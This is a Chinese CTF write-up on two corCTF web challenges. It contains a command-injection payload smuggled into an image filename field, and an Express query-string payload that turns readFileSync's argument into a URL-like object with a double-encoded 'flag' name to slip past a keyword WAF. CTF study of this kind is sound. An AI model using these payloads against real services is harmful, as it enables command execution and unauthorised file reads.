corCTF writeup

WEB

msfrog-generator

应该是打个命令注入

image-20220806102023136

通过传json可以出个图片

推理后台逻辑

1
工具 msonse.png mseyes.png

明显这里是存在过滤的

image-20220806102253639

直接去度文档就好了

image-20220806102554200

这么说 我这id是个参数

image-20220806113429731

前面也可以加

t4rn大哥快我一步

payload

1
1;cat /flag;msnose.png

我的是是 报错才会出现回显 但容器不出网 咋把输出重定向到报错里?有时间可以研究研究

simplewaf

1
docker build -t corweb2/corweb2 . 
1
docker run -p 127.0.0.1:3456:3456 -d  corweb2/corweb2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 3456;

app.use((req, res, next) => {
if([req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)) {
return res.send("bad hacker!");
}
next();
});

app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
}
catch(err) {
console.log(err);
res.status(500).send("Internal server error");
}
});

app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

做题过程

现在这题有几个想法

  • 让这里解析出问题 JSON.stringify(item).includes("flag") 然后就检测不到flag了
  • 用什么神奇的构造来让他本来检测不出来 然后读进来以后还是当做flag

查到一个好玩的东西

image-20220806205549945

现在关键就是这个 JSON.stringify(item) 可以搞对象

然后是不是可以接一些拼接啥的给他干掉?

https://tttang.com/archive/1394/

理一下思路

现在我的想法是

  1. 通过 JSON.stringify(item) 来读一下 flag.txt
  2. 一爆破的方式去读软连接

如何去提前读一下 flag.txt ?

https://blog.csdn.net/Zero_Adam/article/details/114853022

查阅了相关资料 这拦截器实在所有路由之前起作用的 所以 只剩下一种可能 就是去读远程的文件了

读一个远程的软连接?

stupid try

能不能搞一手竞争之类的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import threading

url1="http://127.0.0.1:3456/?file=flag.txt"
url2='http://127.0.0.1:3456/?file=wow.html'
def read1():
while True:
res = requests.get(url1)
# print(res.text)
if "cor" in res.text:
print('suc')

def read2():
while True:
res = requests.get(url2)


threads = [threading.Thread(target=read1()),
threading.Thread(target=read2())]
for t in threads:
t.start()

没啥用 不知道是不是我方法的问题

复现

说实话 这题只有一种可能 那就是 readFileSync 函数可以识别 然后 Json.stringfy()函数不能识别

去跟一下 readFileSync 的源码

这个源码 我真是艹了

这个是官方自带的模块 所以你要到 github 上下node的源码

nodejs/node: Node.js JavaScript runtime (github.com)

在ws里直接b根进 我也不知道跟进了个什么东西 艹

image-20220808181641373

他这里先判断是不是 fd 类型

不是的话 就用 openSync来读

我们继续根进

image-20220808182144260

然后看看他是咋 validate 的

image-20220808182358067

这里换包了

image-20220808182533066

又换包了

image-20220808182824765

接着去跟一下

image-20220808182942796

然后来看看那这个 Instance 到底能接受个什么东西 我们肯定要在这里搞出点名堂来

image-20220808183226237

这里做了检查

  1. 不能为空
  2. 要有href
  3. 要有origin

image-20220808183701902

然后看到这里

这里表明 只接受 file://string

最后跟到这里

image-20220808184034479

express 的qs解析参数时会出现

1
file[a]=a&file[c]=b ==> {"a":"a","c":"b"}

最终payload

1
?file[href]=x&file[origin]=x&file[protocol]=file:&file[hostname]=&file[pathname]=fl%2561g.txt